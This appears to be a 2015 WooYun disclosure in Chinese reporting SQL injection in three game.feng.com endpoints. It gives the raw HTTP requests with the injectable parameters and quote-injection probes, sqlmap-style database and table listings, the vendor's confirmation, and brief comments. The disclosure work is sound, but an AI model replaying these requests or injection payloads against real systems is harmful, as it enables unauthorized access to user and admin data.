当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-095588

漏洞标题:威锋网某站多处注入(root权限可脱全网库)

相关厂商:weiphone

漏洞作者: BMa

提交时间:2015-02-04 13:04

修复时间:2015-03-21 13:06

公开时间:2015-03-21 13:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-04: 细节已通知厂商并且等待厂商处理中
2015-02-04: 厂商已经确认,细节仅向厂商公开
2015-02-14: 细节向核心白帽子及相关领域专家公开
2015-02-24: 细节向普通白帽子公开
2015-03-06: 细节向实习白帽子公开
2015-03-21: 细节向公众公开

简要描述:

威锋网某站多处注入(root权限,可脱全网库)
能给20么?

详细说明:

第一处:

POST /game/read/getDownloadButton.shtml HTTP/1.1
Host: game.feng.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: CNZZDATA30093478=cnzz_eid%3D560578924-1423008837-http%253A%252F%252Fwww.wooyun.org%252F%26ntime%3D1423014237; PHPSESSID=auelk29lhhgjdosu4ren2o3iq5; NSC_hbnf.gfoh.dpn=ffffffffc3a0d33a45525d5f4f58455e445a4a423660
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
id=1


参数:id
第二处:

POST /game/read/getAppCommentList.shtml HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.170 Safari/537.36 Netsparker
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://game.feng.com
Referer: http://game.feng.com/game/read/index-id-1438770.shtml
X-Requested-With: XMLHttpRequest
Accept-Language: en-us,en;q=0.5
X-Scanner: Netsparker
Host: game.feng.com
Cookie: PHPSESSID=j2mh6gqd74v4jpvmtkn2rg8ho6; NSC_hbnf.gfoh.dpn=ffffffffc3a0d33a45525d5f4f58455e445a4a423660
Accept-Encoding: gzip, deflate
Content-Length: 28
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
page=%2527&entity_id=1438770


参数:page=
第三处:

POST /game/read/manageComment.shtml HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.170 Safari/537.36 Netsparker
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://game.feng.com
Referer: http://game.feng.com/game/read/index-id-1445798.shtml
X-Requested-With: XMLHttpRequest
Accept-Language: en-us,en;q=0.5
X-Scanner: Netsparker
Host: game.feng.com
Cookie: PHPSESSID=j2mh6gqd74v4jpvmtkn2rg8ho6; NSC_hbnf.gfoh.dpn=ffffffffc3a0d33a45525d5f4f58455e445a4a423660
Accept-Encoding: gzip, deflate
Content-Length: 40
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
id=%2527&motion=oppose&entity_id=1445798


参数:id=
上几张图:

1.jpg


2.jpg


3.jpg


4.jpg


5.jpg


1.jpg


1.jpg


available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] we+
[*] weapodspace
Database: weapodspace
[11 tables]
+-------------------------+
| system_cache |
| system_cache_group |
| system_function |
| system_module |
| system_right |
| system_right_url |
| system_role |
| system_role_right |
| system_user_role |
| weiphone_app_*_info |
| weiphone_app_*_info_1 |
+-------------------------+
Database: we+
[271 tables]
+----------------------------------------+
| we_user_expert(delete) |
| account_record |
| admin_log |
| admin_message |
| admin_user |
| android_market_file_info |
| app_advertisement |
| app_and_article_relations |
| app_android_entity |
| app_android_entity_datetime |
| app_android_entity_decimal |
| app_android_entity_int |
| app_android_entity_text |
| app_android_entity_varchar |
| app_android_flat |
| app_android_flat_exten |
| app_article

漏洞证明:

应该是过滤了某些关键字,需要深入么?

修复方案:

版权声明:转载请注明来源 BMa@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-02-04 16:01

厂商回复:

多谢你的提醒,我们尽快修复,给你20分

最新状态:

暂无


漏洞评价:

评论

  1. 2015-02-04 13:19 | g0odnight ( 实习白帽子 | Rank:83 漏洞数:19 | 么么哒,呵呵哒,么蛤蛤~)

    主站数据库?

  2. 2015-02-04 16:21 | BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )

    @weiphone 厂商给力

  3. 2015-02-14 16:24 | mango ( 核心白帽子 | Rank:1668 漏洞数:248 | 我有个2b女友!)

    我累个去。。。。。shtml~~~

  4. 2015-03-22 12:32 | Sura、Rain ( 路人 | Rank:15 漏洞数:8 | 关注Java WEB安全)

    临时工干的吧?

  5. 2015-03-25 20:11 | payne ( 路人 | Rank:6 漏洞数:2 | 信息安全学习者)

    求神器名